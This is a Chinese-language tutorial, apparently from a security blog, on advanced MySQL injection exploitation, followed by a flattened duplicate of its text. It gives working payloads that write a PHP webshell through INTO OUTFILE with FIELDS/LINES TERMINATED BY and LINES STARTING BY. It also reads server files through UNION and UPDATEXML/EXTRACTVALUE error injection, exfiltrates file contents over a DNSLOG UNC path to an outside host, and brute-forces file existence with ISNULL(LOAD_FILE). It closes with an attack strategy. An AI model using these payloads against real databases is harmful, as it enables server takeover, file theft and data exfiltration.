报错注入邂逅load_file&into outfile搭讪LINES
字数 1271 2025-08-29 08:32:24

MySQL注入高级利用:文件读写与WebShell写入技术

0x00 前言

本技术文档详细讲解MySQL注入中利用报错注入读取文件内容、使用LINES TERMINATED BY在查询只返回一个字段时写入WebShell文件,以及如何利用load_file函数扫描判断文件是否存在的高级技术。

0x01 INTO OUTFILE 文件写入技术

基本要求

  • 用户必须具有FILE权限
  • 文件不能覆盖写入,目标文件必须不存在
  • 如果secure_file_priv非空,则只能写入该目录下的文件

写入方法对比

  1. FIELDS TERMINATED BY

    • 原理:在每个字段之间插入WebShell内容
    • 限制:当SELECT只返回一个字段时,无法写入WebShell内容
    • 示例:
      SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
      
  2. LINES TERMINATED BY / LINES STARTING BY

    • 原理:在每条记录的结尾或开始处插入WebShell内容
    • 优势:即使只查询一个字段也能写入WebShell,适用于LIMIT等不能UNION的语句
    • 示例:
      SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
      

具体写入技术

  1. UNION注入写入

    SELECT * FROM user WHERE id = -1 UNION SELECT 1,2,0x3c3f70687020706870696e666f28293b3f3e INTO OUTFILE 'D:/1.php'
    
  2. FIELDS TERMINATED BY写入

    SELECT * FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
    
  3. LINES TERMINATED BY写入

    SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
    
  4. LINES STARTING BY写入

    SELECT username FROM user WHERE id = 1 INTO OUTFILE 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e
    

0x02 LOAD_FILE 文件读取技术

基本要求

  • 用户必须具有FILE权限
  • 如果secure_file_priv非空,则只能读取该目录下的文件

读取方法

  1. 联合注入+LOAD_FILE

    SELECT * FROM user WHERE id=-1 UNION SELECT 1,'1',(SELECT LOAD_FILE('D:/1.php'))
    
  2. DNSLOG带外查询

    • 要求:Windows环境
    SELECT id FROM user WHERE id = LOAD_FILE(CONCAT('\\\\',HEX((SELECT LOAD_FILE('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt'))
    
  3. 报错注入+LOAD_FILE

    • 推荐使用HEX编码方式分段读取文件内容
    SELECT * FROM user WHERE username = '' AND UPDATEXML(0,CONCAT(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)
    
    SELECT * FROM user WHERE id=1 AND (EXTRACTVALUE(1,CONCAT(0x7e,(SELECT (LOAD_FILE('D:/1.php'))),0x7e)))
    

0x03 文件存在性扫描技术

原理

  • LOAD_FILE读取文件时,若无权限或文件不存在则返回NULL
  • 结合ISNULL+LOAD_FILE可判断文件是否存在

判断方法

  • 文件存在时:ISNULL(LOAD_FILE('文件名'))返回0

    SELECT * FROM user WHERE username = '' AND UPDATEXML(0,CONCAT(0x7e,ISNULL(LOAD_FILE('D:/1.php')),0x7e),0);
    

    报错信息:ERROR 1105 (HY000): XPATH syntax error: '~0~'

  • 文件不存在时:ISNULL(LOAD_FILE('文件名'))返回1

    SELECT * FROM user WHERE username = '' AND UPDATEXML(0,CONCAT(0x7e,ISNULL(LOAD_FILE('D:/xxxxx')),0x7e),0);
    

    报错信息:ERROR 1105 (HY000): XPATH syntax error: '~1~'

实际应用

  • 可结合Burp爆破扫描文件名
  • 示例:扫描C:/Windows/win.ini存在,而C:/Windows/passwd不存在

0x04 总结与利用策略

  1. 已知绝对路径且有权限时

    • 直接使用INTO OUTFILE写入WebShell
  2. 未知网站绝对路径时

    • 读取常见配置文件获取路径
    • 直接读取敏感文件获取信息
  3. 盲注情况下

    • 利用DNSLOG带外获取内容
    • 使用HEX()函数转换后按位读取文件内容
  4. 其他技巧

    • 结合报错注入和文件操作进行更深入的信息收集
    • 利用文件存在性扫描技术枚举系统文件

本技术文档涵盖了MySQL注入中文件读写和WebShell写入的核心技术,实际应用中可根据目标环境选择最适合的方法组合使用。

MySQL注入高级利用:文件读写与WebShell写入技术 0x00 前言 本技术文档详细讲解MySQL注入中利用报错注入读取文件内容、使用 LINES TERMINATED BY 在查询只返回一个字段时写入WebShell文件,以及如何利用 load_file 函数扫描判断文件是否存在的高级技术。 0x01 INTO OUTFILE 文件写入技术 基本要求 用户必须具有FILE权限 文件不能覆盖写入,目标文件必须不存在 如果 secure_file_priv 非空,则只能写入该目录下的文件 写入方法对比 FIELDS TERMINATED BY 原理:在每个字段之间插入WebShell内容 限制:当SELECT只返回一个字段时,无法写入WebShell内容 示例: LINES TERMINATED BY / LINES STARTING BY 原理:在每条记录的结尾或开始处插入WebShell内容 优势:即使只查询一个字段也能写入WebShell,适用于LIMIT等不能UNION的语句 示例: 具体写入技术 UNION注入写入 FIELDS TERMINATED BY写入 LINES TERMINATED BY写入 LINES STARTING BY写入 0x02 LOAD_ FILE 文件读取技术 基本要求 用户必须具有FILE权限 如果 secure_file_priv 非空,则只能读取该目录下的文件 读取方法 联合注入+LOAD_ FILE DNSLOG带外查询 要求:Windows环境 报错注入+LOAD_ FILE 推荐使用HEX编码方式分段读取文件内容 0x03 文件存在性扫描技术 原理 LOAD_FILE 读取文件时,若无权限或文件不存在则返回NULL 结合 ISNULL+LOAD_FILE 可判断文件是否存在 判断方法 文件存在时: ISNULL(LOAD_FILE('文件名')) 返回0 报错信息: ERROR 1105 (HY000): XPATH syntax error: '~0~' 文件不存在时: ISNULL(LOAD_FILE('文件名')) 返回1 报错信息: ERROR 1105 (HY000): XPATH syntax error: '~1~' 实际应用 可结合Burp爆破扫描文件名 示例:扫描 C:/Windows/win.ini 存在,而 C:/Windows/passwd 不存在 0x04 总结与利用策略 已知绝对路径且有权限时 直接使用 INTO OUTFILE 写入WebShell 未知网站绝对路径时 读取常见配置文件获取路径 直接读取敏感文件获取信息 盲注情况下 利用DNSLOG带外获取内容 使用HEX()函数转换后按位读取文件内容 其他技巧 结合报错注入和文件操作进行更深入的信息收集 利用文件存在性扫描技术枚举系统文件 本技术文档涵盖了MySQL注入中文件读写和WebShell写入的核心技术,实际应用中可根据目标环境选择最适合的方法组合使用。